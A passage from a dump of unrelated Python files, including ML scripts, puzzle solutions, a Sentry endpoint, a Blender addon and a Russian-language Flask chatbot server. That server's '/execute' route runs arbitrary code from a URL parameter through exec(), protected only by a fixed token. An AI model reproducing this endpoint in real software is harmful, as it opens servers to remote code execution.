cms.InputTag(\"rpcPointProducer\",\"RPCDTExtrapolatedPoints\"),\n\t\t\t\t\t\t\t rpcCSCPoints = cms.InputTag(\"rpcPointProducer\",\"RPCCSCExtrapolatedPoints\"),\n\t\t\t\t\t\t\t rpcDTPoints = cms.InputTag(\"rpcPointProducer\",\"RPCDTExtrapolatedPoints\"),\n\t\t\t\t\t\t\t #rpcDTPoints = cms.InputTag(\"hltRPCDTExtrapolatedPoints\"),\n \t\t\t\t\t\t\t rpcRecHits = cms.InputTag(\"hltRpcRecHits\"),\n\n\n)\n\n\nprocess.normfilter = cms.EDFilter(\"HLTHighLevel\",\n TriggerResultsTag = cms.InputTag(\"TriggerResults\",\"\",\"HLT\"),\n HLTPaths = cms.vstring(\"AlCa_RPCMuonNormalisation*\"),\n eventSetupPathsKey = cms.string(''),\n andOr = cms.bool(True),\n throw = cms.bool(True)\n)\n\nprocess.p = cms.Path(process.normfilter*process.muonstandalonereco*process.dTandCSCSegmentsinTracks*process.rpcPointProducer*process.panalyzer)\n","sub_path":"rpcpointanalyzer.py","file_name":"rpcpointanalyzer.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"433402334","text":"from sandbox.rocky.tf.algos.maml_trpo import MAMLTRPO\nfrom sandbox.rocky.tf.algos.maml_il import MAMLIL\nfrom rllab.baselines.linear_feature_baseline import LinearFeatureBaseline\nfrom rllab.baselines.gaussian_mlp_baseline import GaussianMLPBaseline\nfrom rllab.baselines.zero_baseline import ZeroBaseline\nfrom rllab.envs.normalized_env import normalize\nfrom rllab.misc.instrument import stub, run_experiment_lite\nfrom sandbox.rocky.tf.policies.maml_minimal_gauss_mlp_policy import MAMLGaussianMLPPolicy\nfrom sandbox.rocky.tf.envs.base import TfEnv\n\nfrom rllab.envs.gym_env import GymEnv\nfrom maml_examples.reacher_env import ReacherEnv\nfrom rllab.envs.mujoco.pusher_env import PusherEnv\nfrom rllab.envs.mujoco.half_cheetah_env_rand import HalfCheetahEnvRand\nfrom maml_examples.cheetah_vars import EXPERT_TRAJ_LOCATION_DICT, ENV_OPTIONS, default_cheetah_env_option\n#from examples.trpo_push_obj import\n\nimport tensorflow as tf\nimport time\n\nbeta_adam_steps_list = [(1,125)]\n\nfast_learning_rates = [0.1]\nbaselines = ['linear']\nenv_option = ''\nmode = \"local\"\n\nfast_batch_size = 20 # 20 # 10 works for [0.1, 0.2], 20 doesn't improve much for [0,0.2] #inner grad update size\nmeta_batch_size = 40 # 40 @ 10 also works, but much less stable, 20 is fairly stable, 40 is more stable\nmax_path_length = 200 # 100\nnum_grad_updates = 1\nmeta_step_size = 0.01\npre_std_modifier_list = [1.0]\npost_std_modifier_train_list = [0.00001]\npost_std_modifier_test_list = [0.00001]\nl2loss_std_mult_list = [1.0]\n\nuse_maml = True\n\nfor l2loss_std_mult in l2loss_std_mult_list:\n for post_std_modifier_train in post_std_modifier_train_list:\n for post_std_modifier_test in post_std_modifier_test_list:\n for pre_std_modifier in pre_std_modifier_list:\n for fast_learning_rate in fast_learning_rates:\n for beta_steps, adam_steps in beta_adam_steps_list:\n for bas in baselines:\n stub(globals())\n\n seed = 1\n env = TfEnv(normalize(HalfCheetahEnvRand()))\n\n policy = MAMLGaussianMLPPolicy(\n name=\"policy\",\n env_spec=env.spec,\n grad_step_size=fast_learning_rate,\n hidden_nonlinearity=tf.nn.relu,\n hidden_sizes=(200, 200),\n std_modifier=pre_std_modifier,\n )\n if bas == 'zero':\n baseline = ZeroBaseline(env_spec=env.spec)\n elif 'linear' in bas:\n baseline = LinearFeatureBaseline(env_spec=env.spec)\n else:\n baseline = GaussianMLPBaseline(env_spec=env.spec)\n algo = MAMLIL(\n env=env,\n policy=policy,\n baseline=baseline,\n batch_size=fast_batch_size, # number of trajs for alpha grad update\n max_path_length=max_path_length,\n meta_batch_size=meta_batch_size, # number of tasks sampled for beta grad update\n num_grad_updates=num_grad_updates, # number of alpha grad updates\n n_itr=800, #100\n use_maml=use_maml,\n use_pooled_goals=True,\n step_size=meta_step_size,\n plot=False,\n beta_steps=beta_steps,\n adam_steps=adam_steps,\n pre_std_modifier=pre_std_modifier,\n l2loss_std_mult=l2loss_std_mult,\n post_std_modifier_train=post_std_modifier_train,\n post_std_modifier_test=post_std_modifier_test,\n expert_trajs_dir=EXPERT_TRAJ_LOCATION_DICT[env_option+\".\"+mode+\".noise0.1.small\"],\n )\n run_experiment_lite(\n algo.train(),\n n_parallel=1,\n snapshot_mode=\"last\",\n python_command='python3',\n seed=seed,\n exp_prefix='CH_IL_E3.3',\n exp_name='CH_IL_E3.3'\n # + str(int(use_maml))\n # +'_fbs'+str(fast_batch_size)\n # +'_mbs'+str(meta_batch_size)\n + '_flr_' + str(fast_learning_rate)\n # +'metalr_'+str(meta_step_size)\n # +'_ngrad'+str(num_grad_updates)\n + \"_bs\" + str(beta_steps)\n + \"_as\" + str(adam_steps)\n + \"_l2m\" + str(l2loss_std_mult)\n # + \"_prsm\" + str(pre_std_modifier)\n # + \"_pstr\" + str(post_std_modifier_train)\n #+ \"_posm\" + str(post_std_modifier_test)\n # + \"_l2m\" + str(l2loss_std_mult)\n + \"_\" + time.strftime(\"%D_%H_%M\").replace(\"/\", \".\"),\n plot=False,\n sync_s3_pkl=True,\n mode=mode,\n terminate_machine=False,\n )\n\n","sub_path":"maml_examples/maml_il_cheetah.py","file_name":"maml_il_cheetah.py","file_ext":"py","file_size_in_byte":5949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"236533322","text":"\"\"\"--- Day 9: Encoding Error ---\nWith your neighbor happily enjoying their video game, you turn your attention\nto an open data port on the little screen in the seat in front of you.\n\nThough the port is non-standard, you manage to connect it to your computer\nthrough the clever use of several paperclips. Upon connection, the port outputs\na series of numbers (your puzzle input).\n\nThe data appears to be encrypted with the eXchange-Masking Addition System\n(XMAS) which, conveniently for you, is an old cypher with an important\nweakness.\n\nXMAS starts by transmitting a preamble of 25 numbers. After that, each number\nyou receive should be the sum of any two of the 25 immediately previous\nnumbers. The two numbers will have different values, and there might be more\nthan one such pair.\n\nFor example, suppose your preamble consists of the numbers 1 through 25 in a\nrandom order. To be valid, the next number must be the sum of two of those\nnumbers:\n\n26 would be a valid next number, as it could be 1 plus 25 (or many other pairs,\nlike 2 and 24).\n49 would be a valid next number, as it is the sum of 24 and 25.\n100 would not be valid; no two of the previous 25 numbers sum to 100.\n50 would also not be valid; although 25 appears in the previous 25 numbers, the\ntwo numbers in the pair must be different.\nSuppose the 26th number is 45, and the first number (no longer an option, as it\nis more than 25 numbers ago) was 20. Now, for the next number to be valid,\nthere needs to be some pair of numbers among 1-19, 21-25, or 45 that add up to\nit:\n\n26 would still be a valid next number, as 1 and 25 are still within the\nprevious 25 numbers.\n65 would not be valid, as no two of the available numbers sum to it.\n64 and 66 would both be valid, as they are the result of 19+45 and 21+45\nrespectively.\nHere is a larger example which only considers the previous 5 numbers (and has a\npreamble of length 5):\n\n35\n20\n15\n25\n47\n40\n62\n55\n65\n95\n102\n117\n150\n182\n127\n219\n299\n277\n309\n576\nIn this example, after the 5-number preamble, almost every number is the sum of\ntwo of the previous 5 numbers; the only number that does not follow this rule\nis 127.\n\nThe first step of attacking the weakness in the XMAS data is to find the first\nnumber in the list (after the preamble) which is not the sum of two of the 25\nnumbers before it. What is the first number that does not have this property?\n\n--- Part Two ---\nThe final step in breaking the XMAS encryption relies on the invalid number you\njust found: you must find a contiguous set of at least two numbers in your list\nwhich sum to the invalid number from step 1.\n\nAgain consider the above example:\n\n35\n20\n15\n25\n47\n40\n62\n55\n65\n95\n102\n117\n150\n182\n127\n219\n299\n277\n309\n576\n\nIn this list, adding up all of the numbers from 15 through 40 produces the\ninvalid number from step 1, 127. (Of course, the contiguous set of numbers in\nyour actual list might be much longer.)\n\nTo find the encryption weakness, add together the smallest and largest number\nin this contiguous range; in this example, these are 15 and 47, producing 62.\n\nWhat is the encryption weakness in your XMAS-encrypted list of numbers?\n\"\"\"\n\nfrom typing import List\nfrom aoc_helper import get_input\nfrom itertools import combinations\n\ndata = list(map(int, get_input()))\n\n\ndef get_wrong(numbers: List[int], s_preamble: int) -> int:\n \"\"\"get_wrong iterates over the list of numbers, keeping a memory of the\n last numbers specified by the s_preamble. It checks if every number can be\n expressed as the sum of two numbers from the last s_preamble numbers.\n\n Args:\n numbers (List[int]): list of numbers from input.\n s_preamble (int): size of the stack.\n\n Returns:\n int: the wrong number that doesn't matches the rules.\n \"\"\"\n i = 0\n found = False\n stack = []\n wrong = -1\n while not found and i < len(numbers):\n if len(stack) > s_preamble:\n stack.pop(0)\n sum_combinations = list(map(sum, list(combinations(stack, 2))))\n if numbers[i] not in sum_combinations:\n wrong = numbers[i]\n found = True\n\n stack.append(numbers[i])\n i += 1\n return wrong\n\n\ndef get_weakness(numbers: List[int], wrong: int) -> int:\n \"\"\"get_weakness iterates over the list of input data in search of a\n combination of at least 2 contiguous numbers that sum the wrong number.\n\n Args:\n numbers (List[int]): list of numbers from input.\n wrong (int): the wrong number obtained with the previous function.\n\n Returns:\n int: the weakness of the data, it's computed by suming the min and the\n max numbers from the contiguous found numbers.\n \"\"\"\n i = 0\n found = False\n weakness = -1\n while i < len(numbers) and not found:\n j = i + 2\n while sum(numbers[i:j]) < wrong:\n j += 1\n if sum(numbers[i:j]) == wrong:\n weakness = max(numbers[i:j]) + min(numbers[i:j])\n found = True\n i += 1\n return weakness\n\n\nnum = get_wrong(data, 25)\n\n\nprint(f'Result: {num}')\nprint(f'Result: {get_weakness(data, num)}')\n","sub_path":"AoC/2020/029_091220_AOC9.py","file_name":"029_091220_AOC9.py","file_ext":"py","file_size_in_byte":5085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"45199994","text":"from copy import deepcopy\n\nclass Solution(object):\n def imageSmoother(self, M):\n \"\"\"\n :type M: List[List[int]]\n :rtype: List[List[int]]\n \"\"\"\n nrow = len(M)\n ncol = len(M[0]) if nrow else 0\n res = deepcopy(M)\n for x in range(nrow):\n for y in range(ncol):\n neighbors = [\n M[i][j]\n for i in (x-1, x, x+1)\n for j in (y-1, y, y+1)\n if 0 <= i < nrow and 0 <= j < ncol\n ]\n res[x][y] = sum(neighbors) // len(neighbors)\n return res","sub_path":"601-700/661-image-smoother.py","file_name":"661-image-smoother.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"480249367","text":"#!/usr/bin/env python\n# Licensed to Cloudera, Inc. under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. Cloudera, Inc. licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport re\n\n\ndef pre_order_graph(node, nodes, edges, parent):\n match = re.search(\"(.*?)\\s\\(id=(\\d+)\\)\", node.val.name)\n if match:\n node_id = \"node_%s\" % match.group(2)\n if parent:\n edges.append([node_id, parent])\n nodes[node_id] = {\n \"name\": match.group(1)\n }\n for c in node.children:\n pre_order_graph(c, nodes, edges, \"node_%s\" % (match.group(2), ))\n\n\ndef graph_to_json(fragments):\n \"\"\"Parse the list of fragements to build the graph\"\"\"\n # get all nodes of the fragement\n nodes = {}\n edges = []\n for f in fragments:\n parent = None\n for c in f.children:\n dst = re.search(\"dst_id=(\\d+)\", c.val.name)\n if dst:\n parent = \"node_%s\" % (dst.group(1))\n pre_order_graph(c, nodes, edges, parent)\n\n return {\"nodes\": nodes, \"edges\": edges}\n","sub_path":"desktop/libs/libanalyze/src/libanalyze/gjson.py","file_name":"gjson.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"426843181","text":"\ntry: # Мммм, весь код в трай-эксцепт, звучит хайпово\n\n def PlusWrite(text, target):\n file = open(str(target), 'a', encoding='utf-8')\n file.write(str(text))\n file.close()\n\n def ReadFF(file): # Read From File\n try:\n Ff = open(file, 'r', encoding='UTF-8')\n Contents = Ff.read()\n Ff.close()\n return Contents\n except:\n return None\n\n def Similar(first, second): # Similar strings\n if not len(first) == len(second):\n return False\n if len(first) - sum(l1==l2 for l1, l2 in zip(first, second)) > 3:\n return False\n return True\n\n def writeTo(text, target):\n file = open(str(target), 'w', encoding='utf-8')\n file.write(str(text))\n file.close()\n status = \"normal\"\n import time\n start = time.time() # pip install flask markovify googletrans pymorphy2 DAWG pyaspeller\n import os\n from flask import Flask, request, Response\n import markovify\n from googletrans import Translator\n translator = Translator()\n from random import randint, choice\n from pyaspeller import Word\n import pymorphy2\n morph = pymorphy2.MorphAnalyzer()\n\n accesstoken = \"Ваш токен для доступа к некоторым функциям CatwareAI\"\n\n database_files = os.listdir(\"databases\")\n database_files2 = os.listdir(\"bread\")\n user_database_files = os.listdir(\"user_databases\")\n\n sucktions = \"\"\n for x in database_files2:\n sucktions += ReadFF(\"bread/\" + x) # Папки с текстом для Markovify\n text_model = markovify.Text(sucktions).compile()\n\n answers = {\"фывфыв\": [\"у тебя говно мотив\"]} # Начальная база.\n\n for load in database_files: # Папки с базами для VK Iha Bot\n try:\n cont = ReadFF(\"databases/\" + load)\n for line in cont.split(\"\\n\"):\n try:\n answers[str(line.split(\"\\\\\")[0]).lower()].append(line.split(\"\\\\\")[1])\n except:\n answers[str(line.split(\"\\\\\")[0]).lower()] = [line.split(\"\\\\\")[1]]\n except:\n pass\n\n for load in user_database_files: # Пользовательские базы данных (на самом деле просто вторая папка)\n try:\n cont = ReadFF(\"user_databases/\" + load)\n for line in cont.split(\"\\n\"):\n try:\n answers[str(line.split(\"\\\\\")[0]).lower()].append(line.split(\"\\\\\")[1])\n except:\n answers[str(line.split(\"\\\\\")[0]).lower()] = [line.split(\"\\\\\")[1]]\n except:\n pass\n\n\n\n def correct(txt):\n text = \"\"\n for ae in txt.split(\" \"):\n check = Word(ae)\n try:\n if check.correct:\n text += ae + \" \"\n else:\n text += check.variants[0] + \" \"\n except:\n text += ae + \" \"\n if text.endswith(\" \"):\n text = text[:-1]\n return text\n\n def getans(txt):\n notgetted = True\n ret = \"none\"\n while notgetted:\n global answers\n keyz = list(answers.keys())\n try:\n txt = txt.lower()\n ret = choice(answers[txt])\n notgetted = False\n except Exception as e:\n txt = txt[:-1]\n if ret == \"none\":\n return \"error\"\n else:\n return ret\n\nexcept Exception as e:\n status = \"Failed to load: \" + str(e)\n\napp = Flask(__name__)\n\n@app.route(\"/add\") # /add?access_token=токен&text=триггер\\ответ\ndef corrs():\n if str(request.args.get(\"access_token\")) == accesstoken:\n try:\n PlusWrite(str(request.args.get(\"text\")) + \"\\n\", \"user_databases/vkbase\")\n text = str(request.args.get(\"text\"))\n try:\n answers[str(text.split(\"\\\\\")[0]).lower()].append(text.split(\"\\\\\")[1])\n except:\n answers[str(text.split(\"\\\\\")[0]).lower()] = [text.split(\"\\\\\")[1]]\n return \"окей\"\n except:\n return \"нахуй пошёл\" # ХААХХАХАХАХА ИЗВИНИТЕ НЕ СДЕРЖАЛСЯ, ЛЮБЛЮ ТАК ДЕЛАТЬ\n else:\n return \"Доступ запрещён\"\n\n@app.route(\"/execute\") # КООООНСОСЬ ВЫ ВСЕ ЛОХИ КОНСОСЬ ВЫ ВСЕ ЛОХИ КОООНСООООСЬ /execute?access_token=токен&exec=код()\ndef corrs_(): \n if str(request.args.get(\"access_token\")) == accesstoken:\n try:\n exec(request.args.get(\"exec\"))\n return 'ok'\n except:\n exc_type, exc_value, exc_tb = sys.exc_info()\n message('Error: \\n' + \"\\n\".join(traceback.format_exception(exc_type, exc_value, exc_tb)))\n else:\n return 404\n\n@app.route(\"/correctword\") # url?text=Йа умир два годы назат (яндекс спеллер, исправляет ваш неграмотный русский)\ndef corr():\n try:\n text = str(request.args.get(\"text\"))\n return correct(text)\n except:\n return \"Error\"\n\n@app.route('/gen') # /gen?text=Привет! и он дёргает базы\ndef generate():\n try:\n text = str(request.args.get(\"text\")).lower()\n try:\n msg = getans(text)\n except Exception as e:\n msg = str(e)\n except:\n msg = \"Я не ебу что тебе ответить, потому что я ещё глупенький и плохо взаимодействую с базами(((((\"\n return msg\n\n@app.route('/xitext') # /xitext?text=Мы - русские люди и он тебе возвратит \"мы русский людь\"\ndef xitext():\n nt = []\n try:\n text = str(request.args.get(\"text\"))\n try:\n text = text.split(\" \")\n for x in text:\n try:\n k = morph.parse(x)[0][2]\n nt.append(k)\n except:\n nt.append(x)\n msg = \" \".join(nt)\n except Exception as e:\n msg = str(e)\n except:\n msg = \"Я не ебу что тебе ответить, потому что я ещё глупенький и плохо взаимодействую с базами(((((\"\n return msg\n\n@app.route(\"/bread\") # /bread - дёргает Markovify\ndef breadgen():\n return text_model.make_sentence()\n\n@app.route(\"/breadrestart\") # Переподгрузка какой то хуйни (вроде как бредоген марковифе)\ndef breadrestart():\n if str(request.args.get(\"access_token\")) == accesstoken:\n try:\n global text_model\n sucktions = \"\"\n for x in database_files2:\n sucktions += ReadFF(\"bread/\" + x)\n text_model = markovify.Text(sucktions).compile()\n return \"ok\"\n except Exception as e:\n return \"fail: \" + str(e)\n else: return Response(\"Access denied\", status=401, mimetype='application/json')\n\n@app.route('/')\ndef index():\n return \"\"\"\n

    \nCatware AI 0.1 is online!\n\nПриветствуем вас на базовом сервере Catware AI!\nВы можете узнать о нас, если перейдёте на домашнюю страницу Catware: https://catware.space/\nЗа получением документации о Catware AI можно обратиться к разработчикам Catware.

    \"\"\"\n\n@app.route(\"/serverstatus\")\ndef stat():\n return \"Статус сервера - занято \" + str(len(answers)) + \" байт. В сети \" + str(time.time() - start) + \" секунд. CatABMS Server 0.1\", 418\n\n@app.route(\"/voicebread\")\ndef voicebread():\n if \"text\" in request.args.keys() and str(request.args.get(\"access_token\")) == accesstoken:\n PlusWrite(request.args.get(\"text\") + \" \", \"bread/voice.txt\")\n return Response(\"Success\", status=200, mimetype='application/json')\n else:\n return Response(\"Access denied\", status=401, mimetype='application/json')\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"598358488","text":"from __future__ import absolute_import\n\nfrom django.utils import timezone\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\nfrom sentry.app import newsletter\nfrom sentry.api.bases.user import UserEndpoint\nfrom sentry.models import UserEmail\n\n\nclass UserSubscriptionsEndpoint(UserEndpoint):\n def get(self, request, user):\n \"\"\"\n Retrieve Account Subscriptions\n `````````````````````````````````````\n\n Return list of subscriptions for an account\n\n :auth: required\n \"\"\"\n\n # This returns a dict with `subscriber` and `subscriptions`\n # Returns `None` if no subscriptions for user\n sub = newsletter.get_subscriptions(user)\n\n if sub is None or not newsletter.is_enabled:\n return Response([])\n\n try:\n return Response([{\n 'listId': x['list_id'],\n 'listDescription': x['list_description'],\n 'listName': x['list_name'],\n 'email': x['email'],\n 'subscribed': x['subscribed'],\n 'subscribedDate': x['subscribed_date'],\n 'unsubscribedDate': x['unsubscribed_date'],\n } for x in sub['subscriptions']])\n except KeyError:\n return Response([])\n\n def put(self, request, user):\n \"\"\"\n Update Account Subscriptionsoptions\n `````````````````````````````````\n\n Update account subscriptions to newsletter\n\n :param int listId: id of newsletter list\n :param boolean subscribed: should be subscribed to newsletter\n :auth: required\n \"\"\"\n\n email = UserEmail.get_primary_email(user)\n\n # Can't handle subscriptions without a verified email\n if not email.is_verified:\n return Response({'details': 'Must have verified email to subscribe to newsletter.'},\n status=status.HTTP_400_BAD_REQUEST)\n\n subscribed = request.DATA.get('subscribed')\n try:\n list_id = int(request.DATA.get('listId', ''))\n except ValueError:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n kwargs = {\n 'list_id': list_id,\n 'subscribed': subscribed,\n 'verified': email.is_verified,\n }\n if not subscribed:\n kwargs['unsubscribed_date'] = timezone.now()\n else:\n kwargs['subscribed_date'] = timezone.now()\n\n newsletter.create_or_update_subscription(user, **kwargs)\n return Response(status=status.HTTP_204_NO_CONTENT)\n","sub_path":"src/sentry/api/endpoints/user_subscriptions.py","file_name":"user_subscriptions.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"382490564","text":"import bpy # アドオン開発者に対して用意しているAPIを利用する\n\n# アドオンに関する情報を保持する、bl_info変数\nbl_info = {\n \"name\": \"サンプル2-1: オブジェクトを生成するアドオン\",\n \"author\": \"Nutti\",\n \"version\": (2, 0),\n \"blender\": (2, 75, 0),\n \"location\": \"3Dビュー > 追加 > メッシュ\",\n \"description\": \"オブジェクトを生成するサンプルアドオン\",\n \"warning\": \"\",\n \"support\": \"TESTING\",\n \"wiki_url\": \"\",\n \"tracker_url\": \"\",\n \"category\": \"Object\"\n}\n\n\n# オブジェクト(ICO球)を生成するオペレーション\nclass CreateObject(bpy.types.Operator):\n\n bl_idname = \"object.create_object\"\n bl_label = \"球\"\n bl_description = \"ICO球を追加します\"\n bl_options = {'REGISTER', 'UNDO'}\n\n # メニューを実行した時に呼ばれる関数\n def execute(self, context):\n bpy.ops.mesh.primitive_ico_sphere_add()\n print(\"サンプル2-1: 3DビューにICO球を生成しました。\")\n\n return {'FINISHED'}\n\n\n# メニューを構築する関数\ndef menu_fn(self, context):\n self.layout.separator()\n self.layout.operator(CreateObject.bl_idname)\n\n\n# アドオン有効化時の処理\ndef register():\n bpy.utils.register_module(__name__)\n bpy.types.INFO_MT_mesh_add.append(menu_fn)\n print(\"サンプル2-1: アドオン「サンプル2-1」が有効化されました。\")\n\n\n# アドオン無効化時の処理\ndef unregister():\n bpy.types.INFO_MT_mesh_add.remove(menu_fn)\n bpy.utils.unregister_module(__name__)\n print(\"サンプル2-1: アドオン「サンプル2-1」が無効化されました。\")\n\n\n# メイン処理\nif __name__ == \"__main__\":\n register()\n","sub_path":"sample_bak3/src/chapter_02/sample_2-1.py","file_name":"sample_2-1.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"438129709","text":"import requests\nfrom config import readcfg\n\nheader_Gary = readcfg.header_Gary\nheader_Jenny = readcfg.header_Jenny\nurl = readcfg.url\n\n\ndef app_service_subject_query(subjectIds):\n url_ = url + \"/app/v1.0/lumi/app/service/subject/query\"\n params_ = {\n \"subjectIds\": \"%s\" % subjectIds.split(\",\")\n }\n proxies = {'http': 'http://127.0.0.1:8888', 'https': 'http://127.0.0.1:8888'}\n\n print(\"请求数据:%s\" % params_)\n r = requests.get(url=url_, params=params_, headers=header_Gary, proxies=proxies, verify=False)\n return r\n\n\nif __name__ == '__main__':\n result_main = app_service_subject_query(\"lumi.158d0003930b2a, lumi.158d0003930b2b\")\n print(result_main.text)\n","sub_path":"modules/app_additional/app_custom/app_service_subject_query.py","file_name":"app_service_subject_query.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"478760519","text":"import cv2\r\n\r\n#importing image\r\nimg = cv2.imread('ttr.jpg')\r\n\r\n#importing haarcascade\r\nface = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\r\n\r\n#grey scale conversion\r\nface_grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n\r\n#search for the co-ordinates of the image\r\nface_de = face.detectMultiScale(face_grey, scaleFactor = 1.05, minNeighbors=5)\r\n\r\nfor x,y,w,h in face_de:\r\n img = cv2.rectangle(img , (x,y), (x+w,y+h),(0,255,0),3)\r\n\r\ncv2.imshow(\"t\",img)\r\n\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","sub_path":"facedetection.py","file_name":"facedetection.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"354440937","text":"\"\"\"\nJack English\nCSCI 0451 Practical 5, Professor Foley\nMarch 16, 2021\n\"\"\"\n\n\"\"\"\nIn this lab, we once again have a mandatory 'python' challenge.\nThen we have a more open-ended Machine Learning 'see why' challenge.\n\nThis data is the \"Is Wikipedia Literary\" that I pitched.\nYou can contribute to science or get a sense of the data here: https://label.jjfoley.me/wiki\n\"\"\"\n\nimport gzip, json\nfrom shared import (\n dataset_local_path,\n bootstrap_accuracy,\n simple_boxplot,\n) # added bootstrap_accuracy and simple_boxplot\n\nfrom dataclasses import dataclass\nfrom typing import Dict, List\n\n\n\"\"\"\nProblem 1: We have a copy of Wikipedia (I spared you the other 6 million pages).\nIt is separate from our labels we collected.\n\"\"\"\n\n\n@dataclass\nclass JustWikiPage:\n title: str\n wiki_id: str\n body: str\n\n\n# Load our pages into this pages list.\npages: List[JustWikiPage] = [] # initialize pages as type JustWikiPage\nwith gzip.open(dataset_local_path(\"tiny-wiki.jsonl.gz\"), \"rt\") as fp:\n for line in fp:\n entry = json.loads(line)\n pages.append(JustWikiPage(**entry))\n\n\n@dataclass\nclass JustWikiLabel:\n wiki_id: str\n is_literary: bool\n\n\n# Load our judgments/labels/truths/ys into this labels list:\nlabels: List[JustWikiLabel] = []\nwith open(dataset_local_path(\"tiny-wiki-labels.jsonl\")) as fp:\n for line in fp:\n entry = json.loads(line)\n labels.append(\n JustWikiLabel(wiki_id=entry[\"wiki_id\"], is_literary=entry[\"truth_value\"])\n )\n\n\n@dataclass\nclass JoinedWikiData:\n wiki_id: str\n is_literary: bool\n title: str\n body: str\n\n\nprint(len(pages), len(labels))\nprint(pages[0])\nprint(labels[0])\n\njoined_data: Dict[str, JoinedWikiData] = {}\n\n\n# create a list of JoinedWikiData from the ``pages`` and ``labels`` lists.\"\nfor p in pages:\n joined_data[p.wiki_id] = JoinedWikiData(\n p.wiki_id, is_literary=False, title=p.title, body=p.body\n )\n# The element in the joined data that corresponds to the wiki id of that page is a JoinedWikiData object taking stuff from page p\n# and then defaulting is_literary to false\n\nfor l in labels:\n joined_data[l.wiki_id].is_literary = l.is_literary\n# Correctly update the labels for each page in the joined thing based on the label\n\n\n# Make sure Problem 1 is solved correctly!\nassert len(joined_data) == len(pages)\nassert len(joined_data) == len(labels)\n# Make sure it has *some* positive labels!\nassert sum([1 for d in joined_data.values() if d.is_literary]) > 0\n# Make sure it has *some* negative labels!\nassert sum([1 for d in joined_data.values() if not d.is_literary]) > 0\n\n# Construct our ML problem:\nys = []\nexamples = []\nfor wiki_data in joined_data.values():\n ys.append(wiki_data.is_literary)\n examples.append(wiki_data.body)\n\n## We're actually going to split before converting to features now...\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\n\nRANDOM_SEED = 1234\n\n## split off train/validate (tv) pieces.\nex_tv, ex_test, y_tv, y_test = train_test_split(\n examples,\n ys,\n train_size=0.75,\n shuffle=True,\n random_state=RANDOM_SEED,\n)\n# split off train, validate from (tv) pieces.\nex_train, ex_vali, y_train, y_vali = train_test_split(\n ex_tv, y_tv, train_size=0.66, shuffle=True, random_state=RANDOM_SEED\n)\n\n## Convert to features, train simple model (TFIDF will be explained eventually.)\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n# Only learn columns for words in the training data, to be fair.\nword_to_column = TfidfVectorizer(\n strip_accents=\"unicode\", lowercase=True, stop_words=\"english\", max_df=0.5\n)\nword_to_column.fit(ex_train)\n\n# Test words should surprise us, actually!\nX_train = word_to_column.transform(ex_train)\nX_vali = word_to_column.transform(ex_vali)\nX_test = word_to_column.transform(ex_test)\n\n\nprint(\"Ready to Learn!\") # Fired up and ready to go\nfrom sklearn.linear_model import LogisticRegression, SGDClassifier, Perceptron\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import roc_auc_score\n\nmodels = {\n \"SGDClassifier\": SGDClassifier(),\n \"Perceptron\": Perceptron(),\n \"LogisticRegression\": LogisticRegression(),\n \"DTree\": DecisionTreeClassifier(),\n}\n\n# What was provided\nfor name, m in models.items():\n m.fit(X_train, y_train)\n print(\"{}:\".format(name))\n print(\"\\tVali-Acc: {:.3}\".format(m.score(X_vali, y_vali)))\n if hasattr(m, \"decision_function\"):\n scores = m.decision_function(X_vali)\n else:\n scores = m.predict_proba(X_vali)[:, 1]\n print(\"\\tVali-AUC: {:.3}\".format(roc_auc_score(y_score=scores, y_true=y_vali)))\n\n# Bootstrapping time\n\nfitmodels = {} # dictionary that will hold the fitted models\n\n# Python wants to auto=format this, hence the added\n# indentation\nfor name, model in models.items(): # iterate through our models\n fitmodels[name] = model.fit(\n X_train, y_train\n ) # fit them, and tuck them into the dictionary\n\n# Helper method to make a series of box-plots from the dictionary\n# of the fitted models.\nsimple_boxplot(\n {\n # Python wants to auto=format this, hence the added\n # indentation\n \"Logistic Regression\": bootstrap_accuracy(\n fitmodels[\"LogisticRegression\"], X_vali, y_vali\n ),\n \"Perceptron\": bootstrap_accuracy(fitmodels[\"Perceptron\"], X_vali, y_vali),\n \"Decision Tree\": bootstrap_accuracy(fitmodels[\"DTree\"], X_vali, y_vali),\n \"SGDClassifier\": bootstrap_accuracy(fitmodels[\"SGDClassifier\"], X_vali, y_vali),\n },\n title=\"Validation Accuracy\",\n xlabel=\"Model\",\n ylabel=\"Accuracy\",\n 